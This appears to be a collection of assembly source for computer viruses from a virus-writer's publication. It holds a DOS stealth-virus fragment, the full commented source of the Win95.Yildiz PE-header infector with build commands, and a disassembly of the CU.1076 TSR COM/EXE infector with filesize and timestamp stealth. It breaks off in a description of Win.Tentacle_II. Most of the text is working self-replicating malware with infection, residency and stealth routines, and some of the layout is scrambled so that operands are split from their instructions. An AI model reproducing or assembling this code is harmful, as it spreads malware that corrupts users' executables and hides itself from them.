DWORD PTR CS:Old_Int21h
Host_Header: DB DB 22 DUP (0)
0CDh, 20h
; This ISR stealths the first INT 12h and then unhooks itself, this way ; MEM and CHKDSK will report the untouched total DOS memory size. New_Int12h: PUSH DS PUSH ES PUSH BX XOR MOV
AX, AX DS, AX
LES
BX, DWORD PTR CS:Old_Int12h
CLI
; DS = IVT.
; Restore original INT 12h.
MOV MOV STI
DS:[(12h*4)], BX DS:[(12h*4)+2], ES
POP POP POP
BX ES DS
INT
12h
; Do the original INT 12h.
ADD
AX, Virus_Size_1024
; Stealth DOS memory size.
IRET DB =
'10/23/92', 0 BYTE PTR $-1
CMP JE
AX, 0EEE7h Return_ID_2
; Residency check?
CMP JE
AX, 3513h Get_Int13h_St
; Get INT 13h ?
CMP JE
AX, 3521h Get_Int21h_St
; Get INT 21h ?
CMP JE
AX, 2513h Set_Int13h_St
; Set INT 13h ?
CMP JE
AX, 2521h Set_Int21h_St
; Set INT 21h ?
JMP
DWORD PTR CS:600h+(Old_Int21h-File_Int21h)
Return_ID_2:
MOV IRET
AX, 0D703h
Get_Int13h_St:
LES IRET
BX, DWORD PTR CS:600h+(Old_Int13h-File_Int21h)
Get_Int21h_St:
LES IRET
BX, DWORD PTR CS:600h+(Old_Int21h-File_Int21h)
Set_Int13h_St:
MOV MOV IRET
CS:600h+(Old_Int13h-File_Int21h), DX CS:600h+(Old_Int13h-File_Int21h)+2, DS
Set_Int21h_St:
MOV MOV IRET
CS:[600h+(Old_Int21h-File_Int21h)], DX CS:[600h+(Old_Int21h-File_Int21h)+2], DS
Act_Partition
DW
0
CMP JNE
DX, 80h JMP_Boot_i13h
; 1st HD - head zero?
CMP JNB
CX, Virus_Size_512+2 JMP_Boot_i13h
; Operation concerns the ; MBS or virussectors?
Origin File_Int21h:
; Return ID word to caller.
Boot_Int13h:
CMP JE
AH, 02h Check_For_MBS
; Sector read?
CMP JE
AH, 03h Check_For_MBS
; Sector write?
JMP_Boot_i13h: Ofs_Old_Int13h
JMP =
DWORD PTR CS:[0000h] WORD PTR $-2
; Jump to the previous ISR.
Check_For_MBS:
CMP JNE
CX, 1 Check_If_Write
; It's the MBS ?
CMP JE
AH, 02h Do_Read_Write
; It is a MBS read? ; Else it's a write.
PUSH
SI
CALL
Get_Act_Partition
; Get delta offset to active ; partition.
MOV
ES:[BX+SI], 0200h
; Set the infected partition ; in the MBS so the written ; MBS will still be infected.
POP
SI
PUSH
AX
MOV
AL, 1
Do_Read_Write:
PUSHF CALL DWORD PTR CS:[0] Ofs_Real_Int13h = WORD PTR $-2
; Only read/write to the MBS. ; Carry out the read/write.
POP AX CMP JE
AH, 03h Success_IRET
; It was a write?
PUSH
SI
; Else stealth the read.
CALL
Get_Act_Partition
MOV
ES:[BX+SI], 0101h
CMP JE
AL, 1 Success_IRET
Check_If_Write: CMP JE
AH, 03h Success_IRET
; Put back the original ; MS-DOS partition start.
POP SI
PUSH PUSH PUSH PUSH
; It was a write?
AX CX DX DI XOR
AH, AH
MOV
DI, BX
CMP MOV
CX, 1 CX, 512
; ES:DI = readbuffer.
Calc_Sec_Size:
Clear_Buffer:
JNE
Calc_Sec_Size
DEC ADD
AX DI, CX
; Skip the MBS. ; Next sector.
MUL
CX
; Sectorcount * 512.
OR JZ
DX, DX Clear_Buffer
MOV
CX, 0
XCHG
CX, AX
CLD Clear_Byte:
POP POP POP POP
STOSB LOOP
Clear_Byte
DI DX CX AX
Success_IRET:
IRET_Flags:
PUSH
CLC
; Mark success. *** The next ; XOR clears CF already.
XOR
AH, AH
PUSH LAHF
AX
BP MOV
BP, SP
MOV
[BP+(4*2)], AH
; Set new flags in stack.
POP BP POP AX IRET
; Get's the active partition. Get_Act_Partition:
Get_Delta_2:
CALL POP SUB
Get_Delta_2 SI SI, OFFSET Get_Delta_2
MOV
SI, CS:[SI+Act_Partition]
= = = = = = = = =
WORD WORD WORD WORD WORD WORD $+20 WORD WORD
RETN End_Body: Old_Int08h Old_Int21h Old_Int01h Old_Int12h Old_Int13h Real_Int13h Buffer Read_Count Host_Size
PTR PTR PTR PTR PTR PTR
$+0 $+4 $+8 $+8 $+12 $+16
PTR $+44 PTR $+44
New_Read_Count File_Pos Host_Type Orig_Size Valid_Handle File_Handle
= = = = = =
WORD WORD BYTE WORD BYTE BYTE
PTR PTR PTR PTR PTR PTR
EXE_Header EXE_ID Image_Mod_512 File_512_Pages Reloc_Items Header_Size Min_Size_Mem Max_Size_Mem Program_SS Program_SP Checksum Program_IP Program_CS Reloc_Table EXE_Header
STRUC DW DW DW DW DW DW DW DW DW DW DW DW DW ENDS
0 0 0 0 0 0 0 0 0 0 0 0 0
Find_FN_FCB FCB_Drive FCB_Name FCB_Ext FCB_Attr FCB_Reserved FCB_Time FCB_Date FCB_Start_Clust FCB_Size Find_FN_FCB
STRUC DB DB DB DB DB DW DW DW DW ENDS
0 8 DUP(0) 3 DUP(0) 0 10 DUP(0) 0 0 0 0, 0
END
START
$+46 $+48 $+49 $+52 $+56 $+57
; ************************************************************************* ; ******************** ******************** ; ******************** Win95.Yildiz ******************** ; ******************** by ******************** ; ******************** Black Jack ******************** ; ******************** ******************** ; ************************************************************************* ; ; ;NAME: Win95.Yildiz ;AUTHOR: Black Jack [independant Austrian Win32asm virus coder] ;CONTACT: [email protected] | http://www.coderz.net/blackjack ;TYPE: Win9x direct acting/global ring3 resident PE header cavity virus ;SIZE: 323 bytes (but of course infected files won't increase in size) ; ;DESCRIPTION: When an infected file is run, the virus takes control. It then ; tries to find the kernel32 base address by a simple algorithm ; which should make it compatible with Win9X and WinME (although I ; haven't tested it with the second one). After that it gets the ; undocumented Win9X API VxDCall0 and uses it to call int 21h. The ; VxDCall0 API is the very first exported API in Win9X; I don't ; know which API is first in WinNT, that's why unpredictable ; results may occur when the virus runs in that OS (I haven't tried ; it out, but of course the virus can't work in NT). ; Then it goes TSR (read more about this a bit later), and infects ; all PE EXE files in the current directory by overwriting the ; unused padding bytes in the PE header with the virus body. ; The memory residency consist in infecting kernel32.dll in memory. ; To do so, it creates a temporary file called "Yildiz." and writes ; the first 4KB of kernel32.dll there. Then this file is infected ; like any other PE file. And finally the content of the infected ; temp file is read back into kernel32 memory. Yep, you have read ; right, by using the int21h with VxDCall0 you can read from a file ; into read-only memory! (This trick was discovered by Murkry/IkX, ; read more about it in the comments to his Darkside virus source, ; published in Xine#3). ; As I have already said, the kernel32 is infected in memory just ; like any other file, this means the entry point is set to the ; virus, no APIs are hooked. As you should know, the entry point ; of a DLL is a init routine that is called whenever the DLL is ; loaded by a program. And since kernel32 is imported by all ; programs, this means for us that whenever a program is run (and ; kernel32 is mapped into the program's address space), our virus ; will infect all PE EXE files in the directory of the program. ; ;ASSEMBLE WITH: ; tasm32 /mx /m yildiz.asm ; tlink32 /Tpe /aa yildiz.obj,,, import32.lib ; ; there's no need for PEWRSEC or a similar tool, because the ; virus code is supposed to run in read-only memory anyways. ; ;DISCLAIMER: I do *NOT* support the spreading of viruses in the wild. ; Therefore, this source was only written for research and ; education. Please do not spread it. The author can't be hold ; responsible for what you decide to do with this source. ; ===========================================================================
virus_size
EQU
(virus_end - virus_start)
Extrn MessageBoxA:Proc Extrn ExitProcess:Proc
; for first generation only
.386p .model flat .data dd 0
; dummy data, you know...
.code virus_start: pushad
; save all registers
xchg edi, eax
; put delta offset to EDI (EAX=start ; offset of program by default)
mov eax, [esp+8*4]
; EAX=some address inside kernel32
sub esp, size stack_frame mov esi, esp
; reserve room on stack ; set ESI to our data on the stack
search_kernel32: xor ax,ax cmp word ptr [eax], "ZM" JE found_kernel32 dec eax JMP search_kernel32 tmp_filename filespec
we assume the least significant word of the kernel32 base is zero is there a MZ header ? if yes, we found the correct kernel32 base address 0BFF80000->0BFF7FFFF, and then the least significant word is zeroed check next possible kernel32 base
db "Yildiz", 0 db "*.EXE", 0
found_kernel32: mov ebx, [eax+3Ch] add ebx, eax mov mov mov add mov lea
; ; ; ; ; ; ; ;
; EBX=kernel32 PE header RVA ; EBX=offset of kernel32 PE header
ebx, [ebx+120] ; ebx, [ebx+eax+1Ch] ; ebx, [ebx+eax] ; ebx, eax ; [esi.VxDCall0], ebx ; ebp, [edi+int21h-virus_start] ; ;
EBX=export table RVA EBX=Address array of API RVAs get the first API RVA: VxDCall0 EBX=Offset VxDCall0 API save it ; EBP=offset of our int21h procedure for optimisation reasons, the CALL EBP instruction is just 2 bytes
; ----- GO TSR -------------------------------------------------------------lea edx, [edi+tmp_filename-virus_start] ; EDX=pointer to tmp filename push edx ; save it on stack push eax
; save kernel32 base address on stack
mov ah, 3Ch xor ecx, ecx call ebp
; create temp file ; no attributes ; call our int 21h procedure
xchg ebx, eax
; filehandle to EBX, where it belongs
pop edx push edx
; EDX=kernel32 base address ; save it again
call write_file
; write start of kernel32 to temp file
call infect
; infect the temp file
pop edx
; EDX=kernel32 base address
mov ah, 3Fh call read_write
; read infected kernel32 fileststart ; into kernel32 memory
mov ah, 3Eh call ebp
; close temp file ; call our int 21h procedure
pop edx mov ah, 41h call ebp
; EDX=pointer to temp filename ; delete temp file ; call our int 21h procedure
; ----- INFECT ALL FILES IN CURRENT DIR ------------------------------------mov ah, 2Fh call ebp
; get DTA ; call our int 21h procedure
push es push ebx
; save DTA address to stack
push ds pop es
; ES=DS (standart data segment)
mov ah, 1Ah lea edx, [esi.dta] call ebp
; set DTA to our data area ; DS:EDX=new DTA adress ; call our int 21h procedure
mov ah, 4Eh ; find first file xor ecx, ecx ; only files with standart attributes lea edx, [edi+(filespec-virus_start)] ; EDX=offset of filespec findfile_loop: call ebp JC all_done
; call our int 21h procedure ; no more files found?
mov ax, 3D02h lea edx, [esi.dta+1Eh] call ebp
; open victim file for read and write ; DS:EDX=pointer to filename in DTA ; call our int 21h procedure
xchg ebx, eax
; handle to EBX, where it belongs
call infect
; infect the file
mov ah, 3Eh call ebp
; close the victim file ; call our int 21h procedure
search_on: mov ah, 4Fh JMP findfile_loop
; find next file
; ----- RESTORE HOST -------------------------------------------------------all_done: pop edx pop ds mov ah, 1Ah call ebp
; restore old DTA offset in DS:EDX ; reset DTA to old address ; call our int 21h procedure
push es pop ds
; DS=ES (standart data segment)
add esp, size stack_frame
; remove our data buffer from stack
popad
; restore all registers
db 05h ; add eax, imm32 entry_RVA_difference dd (host-virus_start) ; difference between host and ; virus entrypoint (EAX is virus ; entrypoint offset by default) JMP eax ; jump to host entrypoint ; ----- END MAIN PART OF THE VIRUS CODE ------------------------------------exit_infect: pop edi RET
; restore EDI (delta offset) ; return to caller
; ----- INFECT AN OPENED FILE (HANDLE IN BX) -------------------------------infect: push edi
; save EDI (delta offset)
mov edx, esi mov ah, 3Fh call read_write
; EDX=read/write buffer offset ; read start of file
cmp word ptr [esi], "ZM" JNE exit_infect
; is it an exe file ? ; cancel infection if not
mov ecx, [esi+3Ch] cmp ecx, 3*1024
; ; ; ; ;
ECX=new header RVA check if DOS stub is small enough so that all the PE header is in our buffer if not, cancel infection
; ; ; ; ; ; ;
EDI=PE header offset in memory is it an PE file ? (I know that the PE marker is actually a dword, but by only checking one word we save a byte of virus code) cancel infection if not
; ; ; ;
check if entrypoint RVA is in the first 4 KB of the file if yes, the file must be already infected, cancel infection
add ecx, 24 movzx eax, word ptr [edi+14h] add ecx, eax movzx eax, word ptr [edi+6] imul eax, eax, 40 add ecx, eax
; ; ; ; ; ; ; ;
add size of FileHeader EAX=size of Optional header add it to ECX EAX=NumberOfSections get size of section headers to EAX add it to ECX, now it points to the end of the used part of the PE header, where the virus will be.
mov edx, ecx xchg dword ptr [edi+28h], edx sub edx, ecx
; ; ; ;
EDX=virus RVA set it as new entrypoint RVA EDX=difference between old and new entrypoint RVA
JA exit_infect lea edi, [esi+ecx] cmp word ptr [edi], "EP"
JNE exit_infect cmp dword ptr [edi+28h], 4096 JB exit_infect
mov eax, [edi+54h]
; EAX=SizeOfHeaders (aligned to ; FileAlign)
lea edi, [esi+ecx]
; EDI=virus offset in buffer
sub eax, ecx mov cx, virus_size cmp eax, ecx JL exit_infect
; ; ; ; ;
pop eax push eax xchg esi, eax
; EAX=delta offset ; save it again to stack ; ESI=delta offset, EAX=data buffer
cld rep movsb
; clear direction flag ; move virus body into buffer
xchg esi, eax
; ESI=pointer to our data on stack
EAX=free room for us to use ECX=size of virus (the most significant word of ECX should be 0) enough room for the virus ? cancel infection if not
mov [edi-(virus_end-entry_RVA_difference)], edx ; store difference ; between old and new entrypoint pop edi
; restore EDI (delta offset)
mov edx, esi
; EDX=offset of read/write buffer ; now write modified start of file, ; then return to caller
write_file: mov ah, 40h
; write to file
read_write: xor ecx, ecx pushad
; ECX=0 ; save all registers
xor eax, eax mov ah, 42h cdq call ebp
; ; ; ;
EAX=4200h (set filepointer from start of the file CX:DX=0 (new filepointer) call our int 21h procedure
popad
; restore all registers
mov ch, 10h
; ECX=4096 (size of read/write buffer) ; now execute int 21h and return
int21h: push push push call ret
ecx eax 2A0010h ss:[esi.VxDCall0]
; protected mode int21 ; push parameters ; VWIN32_Int21Dispatch function ; call VxDCall0 API
virus_end: ; This is our data that will be stored on the stack: stack_frame buffer dta
struc db 4096 dup(?) db 43 dup(?)
VxDCall0 stack_frame
dd ? ends
host: push push push push call
0 offset caption offset message 0 MessageBoxA
push 0 call ExitProcess caption db "Win95.Yildiz Virus (c) 2000 Black Jack", 0 message db "first generation dropper", 0 end virus_start
comment \ Name
: : Author : Type : Size : Origin : When : Status : Disassembled by :
CU.1076 (according to AVP, obviously named after infection marker in CRC field of EXE header. ? TSR EXE/COM infector with sizestealth 1076 bytes ? ? ? Black Jack
Description: When an infected file is executed, the virus gains control and goes TSR by the standart MCB method and hooks int21h. It then infects COM and EXE files when they are executed or loaded by function 4Bh. The infection process is 100% standart. Date, Time and Attributes are stored (except that the seconds filed holds the infection mark 60), and a dummy int24h is installed during infection. Also, the virus uses size stealth for FCB (functions 11h, 12h) handle (functions 4Eh, 4Fh) and Win95 (functions 714Eh, 714Fh), although the handle stealth won't work because of lots of bugs. Also it has a kind of time-stealth, on the get time function (5700h) it returns the seconds field of the last infected file to hide its infection mark. Comments: This is just a stupid and boring DOS virus, I just disassembled it because of great boredom and because I had found an infected file on my mothers PC (but please don't ask me how it came there). Its full of bugs and rubbish. Reassembly tested with Tasm 3.1 and TLink 3.0 . TASM /M cu TLINK /t cu \
virus_size
=
(v_end - v_start)
.model tiny .286 .code org 100h start: nop nop nop
v_start: push call next: pop sub
; dummy host
es
; save PSP segment
next
; calculate delta offset
bp bp,offset next
; BP=delta offset
mov int cmp je
ax,1818h 21h bx,0C001h already_resident
; already resident?
mov
ax,ds
; AX=PSP segment
; yes, we're there
dec mov
ax ds,ax mov cl,"M" xchg ds:[0],cl sub word ptr ds:[3],40h sub word ptr ds:[12h],40h mov bx,ds:[12h] mov ds,bx inc bx mov es,bx mov ds:[0],cl mov word ptr ds:[1],8 mov word ptr ds:[3],3Fh
; AX=MCB segment ; DS=MCB segment ; marker: not the last MCB ; mark our MCB as not the last ; resize MCB ; end segment of this program ; BX=segment of new virus MCB ; DS=segment of new virus MCB ; BX=segment of the virus ; ES=segment of the virus ; marker of virus MCB ; mark as system MCB ; set virus segment size in MCB
push pop xor lea mov cld rep
cs ds di,di si,[bp+v_start] cx,virus_size
; DS=CS
push
es
; save virus segment
push pop
es ds
; DS=ES=virus segment
mov int
pop
movsb
; DI=0 ; SI=start of virus code ; CX=size of virus ; clear direction flag ; copy virus to TSR location
ax,3521h ; get int21h vector 21h mov ds:[int21h_offset-v_start],bx ; save it mov ds:[int21h_segment-v_start],es es
; ES=virus segment
mov
ax,2521h ; set new int21h vector mov dx,(int21h_handler-v_start) ; DS:DX=new int handler int 21h already_resident: pop es push cs pop ds cmp je
cs:[bp+host_type],"XE" restore_exe
restore_com: lea si,[bp+header] mov di,100h cld movsw movsb push pop push ret
es ds 100h
restore_exe: mov ax,es add ax,10h push es pop ds
; ES=PSP segment ; DS=CS
; is host an EXE?
; original first bytes of host ; clear direction flag ; move start of host back
; DS=ES=PSP segment ; jump to host start
; AX=ES=PSP segment ; AX=start segment of image ; DS=ES=PSP segment
add add mov mov
word ptr cs:[bp+host_cs],ax ax,word ptr cs:[bp+host_ss] ss,ax sp,word ptr cs:[bp+host_sp]
db host_ip host_cs
0EAh
host_ss host_sp
; ; ; ;
relocate jump to host relocate host SS restore host SS restore host SP
; jmp far opcode dw dw
? ?
dw dw
? ?
int21h_handler: cmp ax,1818h jne no_residency_check mov bx,0C001h iret no_residency_check: cmp ah,4Bh jne no_exec jmp infect
; residency check ; we're already installed ; quit interrupt execution
; load/execute file
no_exec: cmp je cmp je
ah,11h fcb_stealth ah,12h fcb_stealth
cmp ah,4Eh jne no_findfirst_handle jmp handle_stealth no_findfirst_handle: cmp ah,4Fh jne no_findnext_handle jmp short handle_stealth nop no_findnext_handle: cmp jb cmp ja jmp
ax,714Eh no_LFN_stealth ax,714Fh no_LFN_stealth LFN_stealth
no_LFN_stealth: cmp ax,5700h jne org_int21h jmp time_stealth org_int21h: db int21h_pointer int21h_offset int21h_segment
0EAh equ dw dw
; FCB find first file? ; FCB find next file?
; handle find first file?
; handle find next file?
; LFN find first file? ; LFN find next file?
; get file date/time? ; Jump if not equal
this dword ? ?
; ----- FCB STEALTH --------------------------------------------------------fcb_stealth: pushf ; simulate int21h call call dword ptr cs:[int21h_pointer-v_start] pushf
; save flags
pusha push push es
ds
; save all regs ; save segments
al,al exit_fcb_stealth
; FCB search failed? ; if so, quit stealth routine
ah,51h
; get active PSP segment to BX
mov cmp jne
es,bx bx,es:[16h] exit_fcb_stealth
; ES=active PSP segment ; is it COMMAND.COM calling? ; if not, don't do stealth
mov
ah,2Fh
; get DTA to ES:BX
es
; DS:BX=DTA
or jnz mov int
21h
int
21h push
pop
ds cwd
; DX=0
cmp byte ptr [bx],0FFh jne no_extended_fcb add bx,7 no_extended_fcb: mov cl,[bx+17h] and cl,00011111b cmp cl,1Dh jne exit_fcb_stealth mov mov
ax,[bx+9] cl,[bx+1Bh] ax,"OC" fcb_stealth_no_com cl,"M" exit_fcb_stealth short do_fcb_stealth
; is it an extended FCB? ; convert to regular FCB ; ; ; ;
CL=low byte of filetime CL=seconds seconds=60 means infected if not, then exit stealth routine
; AX:CL=file extension
cmp ; is it a COM file? jne cmp jne ; its not an EXE/COM jmp nop fcb_stealth_no_com: cmp ax,"XE" ; is it an EXE file? jne exit_fcb_stealth ; its not an EXE/COM cmp al,"E" jne exit_fcb_stealth ; its not an EXE/COM do_fcb_stealth: sub word ptr [bx+1Dh],virus_size ; stealth filesize sbb word ptr [bx+1Ch],0 ; stealth filesize exit_fcb_stealth: pop es pop ds popa popf retf 2
; restore setment registers ; restore all regs ; restore flags ; return from INT and keep the flags
; ----- HANDLE STEALTH -----------------------------------------------------; note: this routine is much to buggy to work. handle_stealth: pushf ; push flags call dword ptr cs:[int21h_pointer-v_start] jc findfirstnext_failed
pushf pusha push push es push mov int
ds
; save flags ; save all registers ; save segment registers
di
; save DI (useless)
ah,2Fh
; get DTA to ES:BX
21h ; BUG! DS should be set to ES here!!! mov and cmp jne
cl,[bx+16h] cl,00011111b cl,1Dh exit_handle_stealth
; CL=low byte of filetime ; CL=seconds of filetime ; seconds=60 means infected
push lea call pop
si si,[bx+1Eh] get_extension si
; ; ; ;
save SI (useless) ES:SI=filename get file extension to AX:CL restore SI
cmp jne cmp jne jmp nop
ax, "OC" handle_stealth_no_com cl,"M" exit_handle_stealth short do_handle_stealth
; ; ; ;
could it be a COM file? check for an EXE really a COM? if not, exit stealth routine
; ; ; ;
could it be an EXE file? no EXE/COM, leave stealth routine really an EXE? no EXE/COM, leave stealth routine
handle_stealth_no_com: cmp ax,"XE" jne exit_handle_stealth cmp cl,"E" jne exit_handle_stealth
do_handle_stealth: sub word ptr es:[bx+1Ah],virus_size ; fixup filesize ; BUG! hiword of filesize unchanged!!! exit_handle_stealth: pop di pop es pop ds popa popf findfirstnext_failed: retf 2
; restore DI ; restore segment registers ; restore all registers ; restore flags
; return from INT and keep the flags
; ----- LONG FILENAME (WIN95) STEALTH --------------------------------------LFN_stealth: pushf ; simulate int21h call call dword ptr cs:[int21h_pointer-v_start] ; ES:DI=finddata structure pushf pusha push push es jc nop nop
ds
; save flags ; save all regs ; save segments
exit_lfn_stealth
; exit on error
push pop
es
; DS=ES
ax,si ax,1 dos_datetime_format
; SI=DateTimeFormat ; 1 means DOS format for date/time
ds mov cmp je
nop nop mov ax,71A7h ; convert date/time format xor bl,bl ; BL=0: Win95 format to DOS format mov si,di add si,14h ; DS:SI=ptr to filetime pushf ; simulate int21h call call dword ptr cs:[int21h_pointer-v_start] ; return CX=filetime, DX=filedate jmp short filetime_in_CX nop ; stupid single-pass assembler dos_datetime_format: mov cx,es:[di+14h] filetime_in_CX: and cl,00011111b cmp cl,1Dh jne exit_lfn_stealth nop nop
; get filetime in CX ; CL=file seconds ; seconds=60 means infected ; if not, exit stealth routine
push lea call pop
si si,[di+2Ch] get_extension si
; ; ; ;
save SI (useless) DS:SI=filename ptr get filename extension to AX:CL restore SI
cmp jne
ax,"OC" lfn_stealth_no_com
; could it be a COM file? ; not a COM
cmp jne
cl,"M" exit_lfn_stealth
; really a COM? ; no COM/EXE, leave stealth routine
jmp nop
short do_lfn_stealth
nop nop
nop nop
lfn_stealth_no_com: cmp ax,"XE" jne exit_lfn_stealth nop nop cmp cl,"E" jne exit_lfn_stealth nop nop
; could it be an EXE file? ; if not, leave stealth routine.
; is it really an EXE? ; no COM/EXE, leave stealth routine
do_lfn_stealth: sub word ptr es:[di+20h],virus_size ; fixup filesize sbb word ptr es:[di+22h],0 exit_lfn_stealth: pop es pop ds popa popf retf 2
; restore segment registers ; restore all registers ; restore flags ; return from INT and keep the flags
; ----- GET THE FILE EXTENSION ---------------------------------------------get_extension: lodsb ; get a char from filename cmp al,"." ; end of filename? jne get_extension ; if not, search on cld lodsw xchg cld lodsb xchg ret
cx,ax
cx,ax
; ; ; ; ; ;
clear direction - useless here get first 2 bytes of extension to AX move them to CX clear direction - useless again get last byte of extension to AL AX:CL=file extension
; ----- TIME STEALTH -------------------------------------------------------time_stealth: pushf ; Push flags call dword ptr cs:[int21h_pointer-v_start] pushf pusha push push es
ds
; save flags ; save all registers ; save segment registers
and cl,00011111b ; CL=seconds of filetime cmp cl,1Dh ; seconds=60 means infected jne no_time_stealth and cx,11100000b ; clear seconds of filetime add cl,byte ptr cs:[seconds-v_start] ; set new seconds field no_time_stealth: pop es ; restore segment registers pop ds popa ; restore all registers popf ; restore flags retf 2 ; return from INT and keep the flags
; ----- INFECTION ----------------------------------------------------------infect: pusha ; save all registers push ds ; save also segment registers push es push xor mov
ds ; save DS (segm to filename) ax,ax ; AX=0 ds,ax ; DS=AX=0=IVT segment mov ax, offset int24h_handler ; BUG! forgotten to sub v_start mov bx,cs ; BX:AX=ptr32 to int24h handler cli ; disable interrupts xchg ds:[24h*4],ax ; set new handler to int24h xchg ds:[24h*4+2],bx mov word ptr cs:[int24h_offset-v_start],ax ; save old mov word ptr cs:[int24h_segment-v_start],bx ; handler sti ; enable interrupts pop ds ; restore DS (filename segm) mov int
ax,4300h 21h
; get attributes of victim
push push
dx ds
; save filename pointer of ; victim file
push
cx
; save attributes of victim
mov xor int jnc jmp
ax,4301h cx,cx 21h get_attributes_ok reset_attributes
; reset attributes of victim ; CX=new attributes=0
get_attributes_ok: mov ax,3D02h int 21h jnc openfile_ok jmp reset_attributes openfile_ok: xchg bx,ax
; open file r/w ; DS:DX=filename ptr
; filehandle to BX
push push pop pop
cs cs ds es
; DS=ES=CS
mov int push push
ax,5700h 21h cx dx
; get file date/time
mov mov mov int
; save file time ; save file date
ah,3Fh ; read file header dx, (header-v_start) ; DS:DX=buffer to read cx,1Ch ; DOS EXE header size 21h
cmp word ptr cs:[header-v_start],"MZ" jne probably_not_an_exe jmp infect_exe probably_not_an_exe: cmp word ptr cs:[2AEh],"ZM" jne not_an_exe jmp infect_exe not_an_exe: cmp word ptr cs:[header-v_start], -1 jne infect_com jmp restore_filetime header
db
1Ch dup(0C3h)
infect_com: mov ax,4202h xor cx,cx cwd int 21h
; EXE header?
; EXE header?
; SYS file?
; 0C3h - ret opcode - quit 1st gen
; goto end of file ; CX:DX=0=distance to move
cmp dx,0 ; high word of filesize=0 ? jbe com_size_ok ; if yes, file is too big jmp restore_filetime ; to infect com_size_ok: push ax ; save filesize sub ax,(virus_size+3) ; the theoretical offset of ; the jmp if file was infected cmp ax,word ptr cs:[header-v_start+1] ; equal means ; the file is already infected pop ax ; restore filesize in AX jne com_not_infected_yet
jmp restore_filetime com_not_infected_yet: mov word ptr cs:[host_type-v_start],"OC" ; set host type sub ax,3 mov word ptr cs:[jmp_distance-v_start],ax add ax,3 ; completely useless instruction mov mov mov int
ah,40h dx,0 cx,virus_size 21h
; write virus body ; virus offset in memory ; CX=size to write
mov xor cwd int
ax,4200h cx,cx
; set filepointer to beginning ; CX:DX=distance to move=0
21h
mov mov mov int pop pop push and mov pop and add jmp
ah,40h ; write new jump to filestart dx,(new_jmp-v_start) ; DS:DX=ptr to buffer cx,3 ; write three bytes (near jmp) 21h dx ; restore old file date in DX cx ; restore old file time in CX cx ; save CX again cl,00011111b ; CL=seconds from filetime byte ptr cs:[seconds-v_start],cl ; store it cx ; restore CX cl,11100000b ; clear seconds from filetime cl,1Dh ; mark as infected with seconds=60 set_filetime ; set new filetime
new_jmp: db jmp_distance
0E9h dw
?
infect_exe: cmp word ptr cs:[header-v_start+18h],40h jb no_new_exe jmp restore_filetime no_new_exe: cmp word ptr cs:[header-v_start+1Ah],0 je no_overlay jmp restore_filetime no_overlay: cmp word ptr cs:[header-v_start+12h],"UC" jne not_infected_yet jmp restore_filetime not_infected_yet: mov word ptr cs:[host_type-v_start],"XE" mov mov mov mov mov mov mov mov mov xor
ax,word ptr cs:[header-v_start+0Eh] cs:[host_ss - v_start],ax ax,word ptr cs:[header-v_start+10h] cs:[host_sp - v_start],ax ax,word ptr cs:[header-v_start+16h] cs:[host_cs - v_start],ax ax,word ptr cs:[header-v_start+14h] cs:[host_ip - v_start],ax ax,4202h cx,cx
; Relo table address ; don't take New EXEs ; Overlay number ; don't take overlays ; CRC/infection mark ; don't reinfect ; mark host as EXE ; save SS ; save SP ; save CS ; save IP
; go to end of file ; DX:CX=new file pointer
cwd int
21h push push push
bx ax dx
mov shl sub
bx,word ptr cs:[header-v_start+08h] ; header size (paras) bx,4 ; BX=BX*16 : convert to bytes ax,bx ; DX:AX=image size
sbb
; save file handle ; save filesize ; save filesize high
dx,0 mov div
mov mov mov mov
cx,10h ; divide by 16 cx ; calculate new word ptr cs:[header-v_start+14h],dx word ptr cs:[header-v_start+16h],ax word ptr cs:[header-v_start+0eh],ax word ptr cs:[header-v_start+10h],0FFFEh mov word ptr cs:[header-v_start+12h],"UC" pop
pop
CS/IP ; IP ; CS ; SS ; SP ; CRC/marker
dx
; restore filesize to DX:AX
ax,virus_size
; calculate new filesize
ax add
adc
dx,0 mov div inc mov mov
cx,200h ; calculate filesize in 512 byte pages cx ax ; round up pages word ptr cs:[header-v_start+4],ax ; filesize mod 512 word ptr cs:[header-v_start+2],dx ; filesize div 512
pop
bx
; restore file handle
mov mov mov
ah,40h cx,virus_size dx,0
; write virus to EOF file ; size to write ; virus offset in memory
ax,4200h cx,cx
; go to start of file ; DX:CX=new position in file=0
ah,40h dx, (header-v_start) cx,1Ch
; write new EXE header ; DS:DX=buffer to read ; DOS EXE header size
int
21h mov xor
cwd int
21h mov mov mov
int
21h
pop pop push and mov pop and add jmp nop
dx ; restore old file date in DX cx ; restore old file time in CX cx ; save CX again cl,00011111b ; CL=seconds from filetime byte ptr cs:[seconds-v_start],cl ; store it cx ; restore CX cl,11100000b ; clear seconds from filetime cl,1Dh ; mark as infected with seconds=60 set_filetime ; set new filetime ; single-pass assembler shit
int24h_handler: iret int24h_offset
; Interrupt return dw
?
int24h_segment
dw
?
restore_filetime: pop dx pop cx
; restore old file date in DX ; restore old file time in CX
set_filetime: mov ax,5701h int 21h mov int
; set file time/date
ah,3Eh 21h mov
int
; close file
ax,5700h
; get file time/date
21h
reset_attributes: pop cx pop ds pop dx mov ax,4301h int 21h xor mov
cli mov mov sti
; ; ; ;
restore old file attributes restore pointer to filename in DS:DX set file attributes funct.
ax,ax ; AX=0 ds,ax ; DS=AX=0=IVT segment mov ax,word ptr cs:[int24h_offset-v_start] ; BX:AX=ptr32 to old mov bx,word ptr cs:[int24h_segment-v_start] ; int24h handler ; disable interrupts ds:[24h*4],ax ; restore old int24h handler ds:[24h*4+2],bx ; enable interrupts
pop pop popa jmp
es ds
; restore segment registers ; restore all other registers
org_int21h
host_type seconds v_end: end
dw db
start
"OC" 0
; first generation is a COM
comment % Name Alias Author Type Size
: : : : :
Origin : When : Status : Disassembled by : Contact me :
Win.Tentacle_II Shell ? direct acting Win16 NE appender 10608 bytes virus body (because of relocation stuff infected files increase for at least 10634 bytes) ? 1996 was in the wild (distributed in sex newsgroups in 1996) Black Jack [email protected] | http://www.coderz.net/blackjack
Description: When the virus gets activated, it starts to search and infect NE EXE files, first one *.EXE file in the current directory, then two in the C:\WINDOWS directory, then one in some other possible hardcoded windows directories (C:\WIN, C:\WIN31, C:\WIN311, C:\WIN95), and then one *.SCR file in the current dir. While infection the virus creates a temporary file C:\TENTACLE.$$$ and rebuilds there an infected image of the victim file. When the infection process is finished this file is copied back over the victim file and then deleted. The infection technique is adding another segment with the virus code at the end of the file. To add its own entry to the segment table, it checks if there is enough unused room between the end of the NE header tables and the start of the first segment and aborts infection if not. Then it shifts back all tables after the segment table (therefore overwriting the unused fill bytes) and fixes their offsets in the NE header, so that it can write its own segment descriptor at the end of the segment table. In a similar way it 